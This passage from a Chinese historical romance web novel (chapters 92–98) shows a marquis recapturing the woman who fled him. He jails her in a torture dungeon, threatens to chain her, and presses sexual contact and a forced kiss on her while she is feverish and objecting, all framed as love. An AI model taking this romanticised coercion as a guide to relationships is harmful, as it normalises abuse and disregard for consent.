时隔两年再度相见,楚烬心底五味杂陈,翻涌着失而复得的惊喜激动。 可转念想起这两年自己因她离去而承受的痛苦难过,又想起她竟联手老夫人一同刻意蒙骗自己,眼睁睁看着他沉沦痛苦偏执癫狂,却铁石心肠带着两个孩子一走两年,杳无音讯。 一瞬间,满心激动尽数化作翻涌的怒火。 楚烬微微俯身,目光一寸寸沉沉描摹过罗苒那慌乱无措的容颜,嗓音低沉沙哑, “你以为,逃得了一时,便能逃得了一辈子?” 罗苒下意识抬手抵在他结实的胸膛,身子微微颤抖,细软的声音带着怯生生的抗拒。 她望着楚烬泛红的眼眶,心底慌乱不已,竭力强迫自己稳住心神,咽了口唾沫, “时隔两年,前尘早已翻篇,楚侯爷身份尊贵,何必再执着于我一个寻常小民,苦苦不放?” “翻篇?你说的倒是轻巧。” 楚烬牙关紧咬,眼底翻涌着隐忍的猩红。 “你可知,当年我得知你和孩子们葬身崖底时,我是何等心境?” “你可知,我不肯信你们就这么没了,整日不眠不休在崖底疯了一般搜寻,杀尽山间狼群,一只只开膛破肚,只为寻一丝痕迹,只想证明你们或许还尚在人间。” “你可知,我领兵四处奔波,一座城一座城,一个镇一个镇地排查寻人,那段时日,我在外人眼里,早已形同疯魔。” 罗苒望着他泛红的眼眶,心口酸涩发紧,却还是强压下心底那一丝不忍,声音细弱却带着几分清醒的执拗, “侯爷何必说得这般情深义重。” 她避开楚烬灼人的目光,言语间是清醒的疏离, “你我心里都清楚,你当初这般执着,不过是骨子里的占有欲在作祟罢了。” “我们已经分离两年,以侯爷如今的身份地位,身边又怎会缺倾心相伴的人?” 第一卷 第92章 分别太久,让苒娘忘了我是怎样的人? 她底蒙着一层浅浅水光,态度却格外坚决, “事已至此,不如就此好聚好散,就此别过……” 罗苒还想继续往下说,话到嘴边,却被楚烬周身骤然降至冰点的强势气场死死堵住,再也发不出半点声音。 虽然她面上故作冷淡疏离,心却跳得极快。 楚烬怒极反笑,居高临下睨着她, “是不是分别太久,让苒娘忘了我是怎样的人?” 他声音幽幽,带着让人恐惧的冷意, “就算真如你所说,我对你没有半分情爱,可你这般肆意欺瞒耍弄于我,难道就没做好承受我怒意的准备?” “竟还敢说出好聚好散就此别过这种荒唐话?” 楚烬周身的气势慑人,压迫感铺天盖地,罗苒要说不怕那是假的。 楚烬垂眸盯着她,语气冷沉直接, “本侯的儿子和小丫头在哪?” 听闻楚烬问及衍儿和小玥,罗苒心慌到了极点,却死死咬紧牙关,半句也不肯吐露。 她心里清楚,一旦把孩子的下落说出去,往后她们母子三人的命运,便会彻底落入楚烬的掌控之中,再无半分退路。 她强忍着眼底翻涌的泪意,一想到小玥和衍儿,便索性豁了出去,鼓起勇气颤声开口, “侯爷已然有亲生子嗣,只要您愿意,世间有的是名门女子甘愿为您绵延后嗣,何必再找那个拖累……” “如今我被您抓住,我也认了……无论您要如何责罚,是鞭刑还是杖责,我都甘愿承受。只求侯爷念在往日几分情分,留我一条性命就够了……” 楚烬看着眼前泪眼朦胧明明怕到发抖却还强忍着说出这番话的小娘子,轻笑一声,带着几分凉薄的嘲弄, “苒娘倒是好生英勇。” 说着,他抬手便想去抚上罗苒的脸颊。 罗苒心头一紧,下意识偏头避开了他的触碰。 楚烬看着她满心抵触态度决绝的模样,眼眸冷了冷。 原本要触上她脸颊的手指顺势下移,慢条斯理替她将散开的衣领一一系好。 罗苒被他突如其来的举动弄得茫然无措,还未回过神,楚烬便伸手,略显粗鲁地将她一把拽了起来。 “既然你一心求责罚,那本侯便成全你。” 他拽着罗苒大步往外走,径直来到一处隐蔽房间,推开暗藏的暗门。 暗门敞开,里面露出一道幽深阴森的石阶,往下望去,一片晦暗不明。 楚烬声音幽幽,带着几分森冷, “你怕是还不知道,侯府底下设有地牢,专门用来关押审问那些见不得光上不了明面的罪人。” 罗苒脸色骤变,眼底写满诧异惊恐。 楚烬不由分说将她拉着往下走。 刚踏入地牢,一股浓重的血腥味便扑面而来。 耳边此起彼伏回荡着凄厉的惨叫和沉重的鞭打声。 甚至还有烙铁灼在皮肉上滋滋作响的刺耳声响。 地牢光线昏暗阴冷,罗苒从未见过这般可怖场面。 被楚烬拉扯着走过层层牢间,沿途皆是凄惨景象,她吓得脸色惨白,黝黑的眼睛里全是惶恐,连眼泪都惊得忘了落下。 楚烬最终在一间偏僻狱房前停下,再度沉声逼问, “我再问你最后一遍,衍儿和小玥在哪?” “你老实说出下落,我派人将他们接回,便可酌情宽恕你这两年欺瞒潜逃的罪责。” 罗苒哪里还敢信他这番说辞。 她只当这是楚烬的诱骗之语,生怕孩子一旦被带回,只会沦为拿捏自己的把柄,往后受尽磋磨折辱。 她红着眼眶,双唇抿得紧紧。 楚烬见她这般恐惧却还死咬着不放的样子,眼底寒意更甚,勾起一抹冷峭的冷笑, “好,既然你执意不肯说,那便自求多福吧。” 话音落下,他毫不留情将她一把扔进牢房,转身径直离去。 “不要……” 罗苒抽泣着,慌乱间下意识伸出手,想要攥住楚烬离去的衣袖。 可那宽大的衣袍长袖,只冷冷擦过她微凉的手背。 牢门“咣当”一声重重落锁,沉闷的声响在阴冷地牢里骤然回荡,隔绝了唯一的退路。 罗苒浑身被刺骨的寒意浸透,从指尖一直凉到心底。 她虽从未亲身踏入牢狱,却早听闻女子一旦落入这样的牢狱,所受的苦楚远比男子还要痛苦千倍万倍。 牢外巡逻的侍卫时不时路过,透过铁窗投来不怀好意的打量目光,更让她心底阵阵发寒。 她无助地缩在牢房最角落,耳边凄厉的惨叫不绝于耳,每一声都敲在心上。 她死死捂住耳朵,身子控制不住地剧烈颤抖,委屈恐惧交织在一起,泪水汹涌止也止不住。 她怕这暗无天日的地牢,那些侍卫不怀好意的目光让她毛骨悚然。 更是担心往后被困在此地,孤苦无依,受尽无尽的磋磨折辱。 她从来没有害人之心,更从没想过要刻意欺骗谁。 当年若不是楚烬强势偏执步步紧逼,将她逼得走投无路,她又怎会费尽心思策划假死,带着孩子亡命出逃? 她自认从未亏欠过楚烬半分。 昔日危难之时,她曾舍身救过他的性命,往后朝夕相伴,也是拿出一片真心相待。 待到后来看清人心,她也不曾哭闹纠缠,更没有索要过半分补偿。 从头到尾,只求安稳抽身。 可那男人偏偏半点都不肯放过她。 明明对她并无真心情爱,明明心底清楚她只想远离纷争安稳度日,却执意不顾她的意愿。 一味逼迫恐吓她,凭着自己的权势偏执,肆意拿捏她的命运。 如今更是将她丢进这阴冷潮湿的地牢,不顾半分往日情分…… 罗苒胸口阵阵发闷抽痛,满心委屈翻涌而上,化作难言的酸涩堵在喉间。 惧怕紧绷到了极致,牢里稍有一点风吹草动,都能把罗苒惊得浑身一颤。 牢房森冷阴寒,凉意刺骨入骨,罗苒止不住浑身发抖。 浑浑噩噩间,只觉得脑袋越来越沉昏重发胀,浑身说不出的难受,就连呼出的气息都带着滚烫的热度。 不知过了多久,牢门忽然被人从外打开,一双玄色锦靴缓步踏了进来。 角落里,罗苒把头深深埋进臂弯,将自己蜷缩成小小的一团,若是不细看,几乎难以察觉这阴暗的角落里还藏着一个人。 第一卷 第93章 你可知侯府内也修了温泉浴堂? 铁门开启的声响并不算小,可那单薄的身子只本能地轻轻抖了一下,像受惊的小兽般缩得更紧,再无半点其他反应。 楚烬迈步走入牢房,看着角落里毫无动静的人影,浓眉蹙起,回头看向门口战战兢兢立着的侍卫。 侍卫连忙躬身低声回话, “小的们谨遵侯爷临走前的嘱咐,不敢惊扰,只在巡逻时留心察看她的安危,未曾敢靠近半分。” 楚烬面色沉凝,缓步上前,手上动作下意识地放轻力道,试探着碰了碰罗苒。 却怎想手紧紧轻触到那消瘦的肩膀,罗苒便身子一软,顺势便往旁倒去。 楚烬心头一紧,慌忙伸手将人稳稳搂住,这才看清她此时的模样。 双目红肿紧闭,眼尾还挂着未干的泪痕,脸颊烧得通红,呼吸急促紊乱,周身肌肤烫得吓人,竟是已然发起了高热。 一旁侍卫见主子神色焦灼,连忙小心禀道, “这小娘子看起来胆子极小,入牢之后便一直低声哭泣,身子抖个不停。” “地牢阴气极重,又满是审讯惨叫之声骇人听闻,她生得这般娇弱单薄,身子本就不耐寒,虽说只关了一个时辰,怕是早已被吓得心神俱裂才发起了高热……” 楚烬脸色依旧紧绷冷沉,望着罗苒烧得泛红的脸颊,心底既有恼怒,又藏着一丝其他情绪。 他轻哼一声,语调依旧冷硬, “胆子这般小,偏偏在本侯面前总爱做出格忤逆之事。” 只是那嘴上虽是嫌弃,手臂却下意识将人抱得更紧。 随即起身,抱着怀中人大步离开了这阴冷的地牢。 罗苒烧的意识模糊,隐约感觉似乎有人在身边。 那人看她的目光好似很沉。 她想睁眼,眼皮却重得像灌了铅。 鼻间萦绕着清冽熟悉的冷香,她本能地缩了缩,却被似被一双有力的臂膀抱得更紧了一些,紧到能听见紧贴胸腔里沉而有力的心跳…… 罗苒再次醒来时,外面天早已大亮。 身下被褥柔软温热,全然不是意识消散前那阴冷刺骨的地牢。 周遭仍是昨日那间雅致卧房,屋里萦绕着浓郁的草药气息。 她茫然恍惚,一时竟想不起自己是如何从地牢里出来的,只觉得浑身酸软无力,连抬手的力气都没有。 可一想起昨夜那阴森可怖的牢狱,罗苒鼻尖一酸,眼泪又控制不住簌簌落下。 楚烬推门进来时,恰好看见刚醒的罗苒坐在床榻上,肩头一抽一抽地颤抖,眼眶和鼻尖红得发亮,满脸泪痕,看起来那叫一个可怜。 待罗苒看见他走进来,眼底的惶恐几乎要溢出来。 下意识缩着肩膀,一点点往后退缩,后背紧紧贴着冰冷的墙壁,恨不得把自己嵌进墙里,连眼神都不敢与面前男人对视。 楚烬居高临下睨着她,语气带着冷淡的嘲弄, “你以为往后缩,就能缩进墙里躲过去了?” 说着便伸手,径直将她从角落里拉了出来。 罗苒毫无反抗之力,被他轻轻一拉,便跌坐在他身前。 见他依旧这般凶戾强势,委屈和害怕一并涌上来,眼泪落得更凶,几滴热泪砸落,瞬间便浸湿了身前衣襟。 她不敢用力挣扎,生怕惹得楚烬动怒,再把自己重新关回地牢。 本就发着高热,身子虚软无力,整个人软绵绵的提不起半点力气,连说话的声音都沙哑干涩带着浓浓的鼻音和哭腔。 “我要走……” 她抬眸望着神色晦暗不明的楚烬,一边抽噎,一边细声哀求, “您已经罚过我了,气也该消了,求您放我走吧。” 楚烬望着眼前哭得梨花带雨的泪人儿,低低嗤笑一声, “不痛不痒关了你几个时辰,就当作受过责罚了?你未免也把本侯想得太过良善。” 罗苒听得这话,眼泪落得愈发汹涌。 楚烬垂眸瞅着她,眼底藏着一丝不易察觉的无奈, “昨夜到如今,你滴水未尽,流这么多泪,就不怕脱水再昏过去?” 任他说什么,罗苒都只是低着头,一个劲的掉泪,虚弱的又小声念了一遍, “我要走……” 楚烬没再与她争辩,转身端过一旁早已晾至温热的汤药,抬手便要喂她喝下。 罗苒心底满是抵触惶恐,不知碗中汤药是治高热的良方还是另有他用。 下意识偏过头,紧抿着干裂的嘴唇,不肯张口。 楚烬眸光沉了沉,语气添了几分压迫, “在这里不肯喝,是想再回地牢,当着那些罪犯侍卫的面喝?” 罗苒瘪了瘪嘴角,又一颗泪珠滚落。 终究是怕了,没再躲闪,咽下了楚烬送到嘴边的汤药。 苦涩瞬间在舌尖蔓延开来,呛得她眼眶发酸,却又渐渐生出一丝回甘。 温热的汤药滑过喉咙,熨帖了干涩的嗓眼,那钻心的疼意终于缓解了几分。 许是汤药的暖意驱散了些许寒意,又或许是哭累了,罗苒的眼泪堪堪止住。 只余下长长的睫毛上挂着未干的泪珠,轻轻颤动着,模样愈发可怜。 楚烬将空碗放在一旁的矮几上,扬声招呼下人进来,吩咐备好热水和餐食。 不多时,下人送来热水与一身干净的换洗衣物。 楚烬看向床榻上的罗苒,语气沉缓, “你还发着热,身子不便折腾,先简单擦拭一番,换身干净衣裳。” 地牢肮脏潮湿,经过昨夜一番惊吓折腾,她身上的浅色衣裙早已污脏不堪,没法再穿。 可罗苒望着桶中蒸腾的热水,再看始终立在床边如山般高大沉凝的楚烬,僵在那没动。 楚烬瞧着她拘谨僵硬的模样,薄唇微微勾起, “你可知侯府内也修了温泉浴堂?是我特意让人翻新修缮的,比昔日楚府的汤泉还要宽敞奢华……” “你若不愿在此处将就,本侯倒是不介意,带你去侯府新浴堂好好瞧瞧……” 这话入耳,罗苒心头猛地一悸,瞬间想起往日在楚府汤泉里的种种缱绻缠绵耳鬓厮磨的暧昧光景。 这男人外表凌厉端正,看着如同翩翩君子。 可私下温存之时,却大胆灼热得让她羞赧无措心神俱颤。 第一卷 第94章 你身上何处,是我不曾见过的? 从前他总爱带她去那汤泉,池水中、水池边、软塌上…… 一幕幕画面不受控制地涌入脑海。 罗苒脸颊瞬间烧得通红,只觉得楚烬落在她身上的目光滚烫灼热,带着熟悉的侵略感。 时隔两年,她依旧清清楚楚记得他这般眼神。 虽说摸不透如今的楚烬对她究竟是何心思,可她心底无比清楚,若是真被他带去那浴堂,那自己根本没可能再站着出来。 她攥紧衣角,犹豫了片刻,声音细若蚊呐的开口, “那……那你先出去……” 楚烬却依旧立在原地,分毫未动,看着她羞窘垂眸的模样,浓眉微挑,语气带着些许刻意的玩味, “你身上何处,是我不曾见过的?” 罗苒见他这般故意逗弄存心为难,心底又羞又委屈,眼眶霎时间便红了一圈。 楚烬望着她那双黝黑澄澈的眼眸里水汽渐渐氤氲,眼看泪珠就要滚落,想起她本就高热体虚,昨夜又哭了大半宿,再落泪怕是真要熬得脱水。 终究不忍再刻意欺负逗她,转身迈步走出内室,去了外间,随口吩咐下人准备餐食。 待楚烬彻底走远,罗苒才小心翼翼扶着床沿下床。 身子虚软无力,手脚发飘,她拿着干净帕子简单擦拭洗漱,又抬手理了理散乱的发丝,默默换上了那身干净衣衫。 没过多久,丫鬟捧着干净鞋袜进来,轻声引着她去往外间厅堂。 楚烬已然端坐餐桌旁,桌上摆着几样精致清淡的小菜,旁边还放着一碗熬得软烂浓稠的鱼肉粥。 罗苒看着满桌餐食,又看向一旁静静坐等她用餐的男人,心底满是茫然不安。 昨夜他还那般凶戾强势,狠心将她扔进阴冷可怖的地牢。 今日却又这般沉静温和,仿佛昨夜的暴怒与绝情从未发生过半分。 这般忽冷忽热,让她愈发惶恐难安。 她忍不住惦念起黎娜,还有小玥和衍儿。 自己突然在灯会消失,黎娜和孩子们定然心急如焚。 念及此处,罗苒鼻尖发酸,眼眶又控制不住泛起热意。 楚烬将她眼底的忧色与落寞尽收眼底,沉默片刻后开了口,语气比先前柔和不少,带着不易察觉的妥协, “我知道你心里记挂孩子。” 他目光落在罗苒憔悴的小脸上,缓缓道, “你既能独自去灯会这热闹之地,却不曾带着孩子,想来他们定是不在帝都城内,该是在城郊偏远之处。我已派人在帝都附近探查,寻到下落,便亲自去将他们接回来……” “昨夜是我一时被怒火冲昏头脑,行事欠妥。不该为逼你说出孩子下落,狠心将你关进地牢……我知道你胆子小,经不得吓,往后你听话一些,我便不欺负你,也不凶你了。” 罗苒没想到他心思这般缜密,竟轻易推断出自己和孩子的藏身之处,脸色霎时又白了几分,心底的不安更重了。 楚烬拿起瓷碗,将温热的鱼肉粥推到她面前,又顺手拣了几样她往日爱吃的清淡小菜放进碟中。 罗苒本就心绪繁杂,半点胃口也无,可又不敢忤逆惹怒这位喜怒无常的侯爷,只能垂着眉眼,拿起小勺慢吞吞舀着粥,小口小口勉强下咽。 楚烬却没有动筷用餐,只是坐在一旁,目光一瞬不瞬凝在她低垂的侧脸上,眸光深沉,似是怎么看都看不够。 罗苒勉强逼着自己咽下小半碗粥,实在难以下咽,抬眸看向楚烬,眼神怯怯的带着几分可怜无措。 楚烬看她这般模样,开口低声问, “吃不下了?” 罗苒抿着唇点了点头。 楚烬也不勉强,挥手让人撤去桌上餐食。 片刻后,下人又端来几样精致香甜的细点,摆放在案上。 他指着其中一碟桃花酥,“尝尝点心?” 罗苒摇头,依旧没什么兴致。 “不想吃便罢。” 楚烬也不勉强, “先放在一旁,何时想吃再用。” 罗苒小心翼翼觑着楚烬的神色,见他此刻神情算得上温和,心底犹豫再三,终于鼓起勇气试探着开口, “侯爷究竟要怎样,才肯放我离开?” 楚烬望着她满心只想逃离的模样,眼底眸光晦暗翻涌,他靠近几分,声音压低,带着几分危险的沉冷, “难不成,真要我把你用铁链困在身边,你才肯安分认命?” 罗苒心头一颤,她太了解楚烬了,这话从他口中说出,绝不是随口吓唬,他是真的做得出来。 可事到如今,逃避早已没用,倒不如把话彻底摊开说清。 她深吸一口气,她鼓起勇气,缓缓抬眼看向楚烬, “事已至此,我已不便再隐瞒,侯爷,其实这两年在外漂泊,我在一年半前便已成了家,有了相守的夫君,日子过得安稳平静……” 她顿了顿,又补充道, “这次灯会,也是他陪我来的……您说的不错,我先前确实满心担忧焦灼,不只是因为担心孩子,更是担心灯会上我突然消失,他寻不到我,定会心急如焚。” 罗苒咬了咬下唇,语气里带着一丝恳求, “您这般人物,最是刚正豁达,如今知晓我已有了人家,想来定不屑做强抢人妻之事。” 话说完,她便低下了头,不敢去看楚烬的脸色。 楚烬就那么一瞬不瞬地盯着她,眼底幽深,看不出半分情绪,唯有喉结微微滚动了一下,像是在压抑着什么。 半晌,他忽然轻轻笑了一声, “有新夫君了?” 他缓缓重复着这几个字,仿佛在细细品味。 罗苒硬着头皮点了下头。 下一秒,下颌忽然被捏住,修长有力的手指强行抬起她的脸。 楚烬俯身凑近,两人距离近得能感受到彼此交缠的呼吸,那双眼睛锁着她, “胡诌也要有个限度,你离开楚府堪堪两年,最初你为了躲我定然带着孩子颠沛流离,如今你告诉我,你已成亲一年半?” 罗苒喉间发紧,艰难地咽了口唾沫,强撑着底气,小声辩解, “是真的……我没有骗您……” 第一卷 第95章 做好一辈子困在我身边的准备 楚烬捏着她下颌的手指又收紧了几分,细微的痛感传来,罗苒忍不住皱起了眉头。 就听他声音沉沉,森冷中似乎又藏着一丝不易察觉的委屈, “苒娘,我知道,当年欺瞒你的事,你一直对我心存怨气。如今你抛下我两年,骗了我两年,还拐走了衍儿,可我终究狠不下心来对你做什么……” “所以我想,我骗过你,你亦骗了我,过往一笔勾销,两清便罢了。” 他的语气渐渐软了下来,眼底竟浮上一抹少见的柔软, “失而复得,我才知你在我心中的分量。” “以后,我定会对你好。楚府的刘氏母子,自始至终我从未承认过半分,如今我也已重新自立门户,绝不会再让任何人欺负你和孩子们……” “可你,便那么厌我?厌到为了让我放你离开,不惜编造一个虚假的夫君来骗我?” 罗苒没想到楚烬竟然半点不信,心头不由一紧, “我未曾编造,我同我夫君,是立了婚书上过官籍的……” 楚烬捏着她下颌的手指缓缓松开,指尖不经意间摩挲了一下她被捏红的肌肤。 “可以,”他的语气忽然平静下来,却带着一种不容置疑的决然, “本侯不是那种蛮横强求之人,若是你真的成了家,那我便放你离开……” “相反,若是你再试图诓骗我,那你就最好做好一辈子困在我身边的准备。” 说罢,他弯腰,未等罗苒反应过来,便将她打横抱起,转身往卧房走去。 罗苒猝不及防,下意识攥住了他的衣襟,心跳骤然加快。 她扭头看见那已经被丫鬟重新换过干净被褥床单的床榻,瞬间变得紧张起来,结结巴巴道, “你,你,你要做什么?” 楚烬将她放到柔软的床榻上,又细心地将被子拉过来,掖好她身侧的被角, “你热度还没退,烧了一晚,身体本就虚弱,我自然不会对你做什么。安心睡一觉。” 他声音放轻了几分,眼底藏着一丝不易察觉的温柔。 说罢,便转身离开,脚步声渐渐远去,门扉轻轻合上。 罗苒确实虚弱不堪,躺回床榻上,一想起小玥和衍哥儿,鼻尖一酸,忍不住又掉了几滴眼泪。 哭着哭着,便抵挡不住浓重的睡意,沉沉睡了过去。 到了下午,似乎又烧了起来。 罗苒被烧得昏昏沉沉,只觉得身体又冷又热,浑浑噩噩间出了满身的汗,衣衫都黏在了身上。 隐约间,似乎有人将她抱了起来,后背靠上了结实温热的胸膛。 那人环抱着她将汤药灌下,苦涩的药汁顺着喉间滑落,她却无力挣扎。 沾着温水的帕子擦拭过身体,一点点驱散着身体的燥热,那帕子的主人动作耐心而细致,从脖颈到肩背,一寸一寸地抚过。 也不知是喂了药的原因,还是那温热的帕子带来的清凉,她浑身渐渐舒爽了一些。 一只温热干爽的大手拂过她的脸颊,指腹小心翼翼地蹭过她汗湿的鬓发,动作温柔得不像话。 昏睡中,罗苒下意识地往那温暖的方向蹭了蹭,像只寻找依靠的小兽。 那人抚摸的动作似僵了一瞬,随后叹了口气,语气带着难以掩饰的无奈与怅然,低声喃道, “苒娘,我该拿你怎么办才好……” 第一卷 第96章 我很想你……它也想你 她微微挣扎,竟清晰地感觉到身下的人浑身一震,又一声低哑的闷哼从他喉间溢出。 楚烬俯身,将脸埋在她的颈间,深深吸了一口气,似是在极力克制着什么,温热的气息拂过她的脖颈,带着他独有的清冽气息。 “苒娘……” 他的声音沙哑得厉害,还隐隐裹着一丝不易察觉的委屈。 热气直直拂过耳畔,罗苒脸颊瞬间烧了起来,满心的羞窘慌乱, “松,松手……你怎能这样……” 楚烬的声音愈发沙哑,鼻尖蹭了蹭她泛红的颈侧,语气里的委屈更甚了些, “是苒娘先碰我的……” “我,我睡糊涂了……” 罗苒掌心早已沁出细密的冷汗,挣扎着去推他的胸膛,可身上的身躯结实的身躯任凭她怎么用力,都纹丝不动。 楚烬微微抬眼,眼底满是灼热,声音低沉而缱绻, “苒娘,两年了,我很想你……它也想你……” 罗苒只觉得脑袋嗡嗡作响,浑身的血液仿佛都冲到了头顶。 她暗自羞恼,两年不见,这人越发不知分寸,这等荤话竟随口便来。 “你……你松手……” 罗苒满脸失措慌乱,不知是不是楚烬身上滚烫的温度灼到了她,原本还算清醒的脑子,竟又开始变得混沌凌乱起来。 楚烬却半点没有松手的意思,反倒得寸进尺的又贴近了几分。 强健的身躯紧紧贴着她,两人衣料相触,楚烬难耐地喘了一声,气息愈发沉重灼热,喷洒在罗苒的额间。 他长睫垂落看着身下慌乱的人,嗓音喑哑, “苒娘,帮帮我……” “你,你在说什么胡话……两年了……我们早已不是从前那种关系了……” 罗苒脸颊泛着一层薄红,声音发颤, “而且我已经嫁了人,侯爷勿要再这般逾矩……呀!” 话未说完,罗苒只觉脖颈一痛。 楚烬竟俯身伏在她的颈侧不轻不重地咬了一口,带着几分惩罚似的力道,齿尖蹭过细腻的肌肤,留下一个浅淡泛红的齿痕。 刺痛感让罗苒红了眼眶,水汽在眼底打转,心底又气又恼。 这条贪欲好色的贼狼! 所以当楚烬抬起身,凑过来作势要吻她的时候。 罗苒也不知哪来的勇气,张口朝他的唇瓣狠狠咬了下去。 “嘶……” 楚烬倒吸一口凉气,口腔里瞬间蔓延开淡淡的血腥味。 他眼底满是讶异惊奇,定定地看向身下的人儿。 只见罗苒朱唇上还沾着一点淡淡的血迹,像一朵初绽的红梅。 一双杏眼瞪得圆溜溜的,眼尾泛红,目光里带着几分倔强的凶气。 他倒是没想到,这软软香香的小兔子,竟然也会呲牙。 楚烬非但没生气,眼底的兴致反倒愈发高涨。 他从前也暗自想过,这两年对罗苒的念念不忘,或许不过是执念作祟。 或许真等找回来,朝夕相处久了,便会发觉也不过如此。 可这短短两日的相处,都让他真切地感觉到自己对她的喜爱。 她的慌乱、她的倔强、她的恼恨…… 真是哪哪都稀罕的紧。 这一刻,他清晰地确定,自己对她的牵挂,从来都不止是执念。 紧箍着罗苒手腕的大手终于缓缓松开,可她还没来得及松一口气,眼前突然一晃,楚烬长臂一伸,掌心牢牢箍住她的腰,一个利落的翻身将她抱起。 罗苒回过神来的时候已经跨坐在楚烬身上。 隔着薄薄的衣料,清晰的触感传来,让她瞬间浑身僵硬,耳尖一路红到脖颈。 满心羞窘之下,她指尖发颤,下意识用手撑着他的身体。 楚烬身上只着了一件单薄的月白色内衫,腰间用素色绸带松松系着。 方才一番翻身动作,胸前的衣襟已然大开,袒露出大片蜜色的胸膛,紧实的腹肌线条分明,随着他的呼吸轻轻起伏,透着满满的力量感。 罗苒撑着的手,正巧抵在他紧实的腹肌上,指尖能清晰感受到肌肉的硬实温热,甚至能摸到腹肌的纹路,随着他的呼吸微微起伏。 这两年楚烬瘦了些,肌肉却愈发紧实,肩宽腰窄的身形愈发挺拔,长发未曾束起,墨色的发丝随意披散在肩头,几缕碎发垂落在脸颊旁,添了几分慵懒随意,也让他原本硬朗冷冽的轮廓,柔和了些许,多了几分蛊惑人心的意味。 罗苒就这样跨坐在他身上,从这个角度看向楚烬。 她本也不是什么好色之徒,无奈楚烬这长相这身材都太犯规。 虽然心底满是抗拒羞恼,却还是被眼前男人这副极具煽情的模样狠狠惊艳了一下。 第一卷 第97章 看来苒娘还想同我做些别的? 但也只是一瞬间而已,毕竟身下那清晰鲜明的触感太过强烈,滚烫又直白,让人根本无法轻易忽略。 罗苒想要避开,楚烬的大手却用力一摁,将她重重按坐在那处。 “呜……” 身体隔着衣料摩擦,罗苒腰也软了,眼也红了,一副要落泪又不肯落泪的模样。 楚烬看着她水蒙蒙的眼,心中虽然迫切,但也知道什么事该做什么事不该做。 大手箍着她纤细的腰身,眼底的灼热稍稍敛去几分。 可看着晨起醒来的女人,白白嫩嫩、软软香香的样子,还是舍不得就这么放过她。 语气软了下来,带着几分刻意的哄诱, “我知道你不愿,那不做便是……只是你方才咬伤了我,总得帮我擦掉嘴上的血迹吧?” 罗苒能清晰感受到身下那处的虎视眈眈。 听他这么一说,悬着的心稍稍一松,紧绷的脊背也缓了些许,下意识便抬起手,想去擦他唇上的血迹。 可她的手刚抬到半空,楚烬却猛地扭头避开,浓眉轻挑, “不准用手。” 他黑眸沉沉,目光缓缓扫过她沾着淡淡血迹的朱唇,喉结微微滚动了一下, “哪里给我弄伤的,就用哪里给我擦。” 罗苒瞬间看穿了他的恶趣味,脸颊又烧了起来。 逃又逃不掉,做又不想做,只能僵在那里。 楚烬眼底戏谑之意一闪而过, “看来苒娘还想同我做些别的?” 罗苒薄唇抿紧,心中又气愤又无助。 她深知楚烬的性子,若是不依,他只会愈发得寸进尺。 权衡利弊之下,终究还是妥协了。 她深吸一口气,微微俯身,小心翼翼地凑了上去,用自己的唇轻轻蹭过他带血的唇瓣,动作僵硬羞窘。 楚烬怎会放过这样的机会? 不等她退开,长臂一伸,牢牢箍住她的后脑勺,顺势加深了这个吻。 唇齿交缠间,满是急切与思念,缠绵与眷恋。 两人的呼吸紧紧缱绻在一起,灼热的气息交织缠绕。 罗苒被他吻得浑身发软,原本撑在他胸膛上的手,不自觉攥住了他的衣料,连挣扎的力气都渐渐消散。 吻的正热切缠绵时,屋外忽然传来下人小心翼翼的禀报,带着几分急切, “侯爷,楚府方才来人急报,老夫人那边身子不适,情况要紧,请侯爷速回。” 楚烬的动作猛地一顿,缓缓松开罗苒,额头抵着她的额头。 呼吸依旧沉重急促,眼底满是明显的意犹未尽。 可老夫人的安危事关重大,他半点不敢耽误,只能强压下心底的眷恋不舍。 抬手,指尖轻轻摩挲着她泛红的唇角,语气温柔叮嘱, “你好生歇着,莫要乱跑。若是无聊,便让丫鬟带你在侯府逛逛,认认路。” 叮嘱再三,才恋恋不舍地松开她,起身整理好自己的衣袍,快步转身离开了卧房。 待楚烬的脚步声彻底消失在院外,罗苒才缓缓回过神来。 脸颊依旧滚烫,她慌忙抬手整理好自己凌乱的衣袍,指尖触到自己发烫的脸颊,心底依旧乱成一团麻。 她强撑着身子起身,简单洗漱了一番。 刚擦干净脸颊,便听到屋外传来轻微的动静。 她下意识抬眼望去,就见黎娜一身侯府下人的装扮,利索从窗户外翻进来。 “阿苒……” 黎娜的声音压得很低,带着几分关切。 看到黎娜,罗苒猛地一愣,万万没想到她竟能偷偷潜进侯府,眼眶瞬间就红了。 可转念想到此刻的处境,她也顾不上落泪,连忙快步上前关上窗户,压低声音,语气里满是急切, “你怎会寻到这里来?” “那晚你在灯会上突然失踪,我急得团团转。” 黎娜握着她的手,语气急切又带着后怕, “后来我听闻楚烬那晚也去了灯会,心里暗道不好,便立刻去找了楚乘风。” “楚乘风帮我四处打听,果然查到,楚烬那夜从灯会上带回了一个女子……我一听就笃定那人一定是你。” 罗苒又惊又急地追问, “侯府戒备森严,你是怎么进来的?你这般贸然闯进来,若是被发现,你可知后果……” 黎娜拍了拍她的手背,安抚道, “你别急,我有分寸。我迷晕了外头守着的丫鬟,趁没人留意,我们赶紧离开这里再说。” “那个楚烬王八蛋,等我们安全了,我再想办法帮你教训他!” 话音未落,黎娜便拉住罗苒的手,快步往外走。 她常年在草原长大,感官本就比常人灵敏锐利,一路上拉着罗苒东躲西藏,专挑僻静的小路往侯府后院跑去。 侯府极大,院落交错,好在黎娜心思缜密脚步利落,一路有惊无险。 第一卷 第98章 你竟真的敢嫁给别人! 罗苒跟在她身后,心脏几乎要跳到嗓子眼。 就在这时,她瞥见不远处有一扇半开着的隐秘小门,眼睛瞬间亮了起来。 黎娜拉着她快步冲了出去。 门外是侯府的后门,身后连着一条僻静窄长的死胡同,没有半个人影。 二人刚踏出小门,长长舒了口气,悬着的心稍稍放下。 还没来得及多说一句话,一道冷冽低沉的男声,便在胡同口骤然响起, “苒娘,你又想往哪逃?” 罗苒浑身一僵,猛地扭头,只见本该在楚府里的楚烬,不知何时已站在胡同口,强健高大的身躯将狭窄的胡同口堵得严严实实。 他大步走进,脸色铁青,周身气压低得吓人。 而他身后,还跟着一个捂着一侧红肿脸颊垂头丧气不敢抬头的楚乘风。 黎娜瞥了一眼楚烬身后萎靡不振地楚乘风。 便知自己同他商议的一切定然已败露,不由暗骂一声, “这傻蛋,成事不足败事有余!” 楚烬看着再度试图偷跑的罗苒,面色阴沉至极,眼底的怒火几乎要燃尽理智。 他目光扫过罗苒身旁的黎娜。 黎娜一身男装,身形利落高挑,肤色偏深,眉宇间英气逼人,以至于楚烬丝毫没有认出她的女子身份。 他的视线重新落回罗苒脸上,那双眼漆黑噬人,看得她心头一颤,下意识往黎娜身后缩了缩。 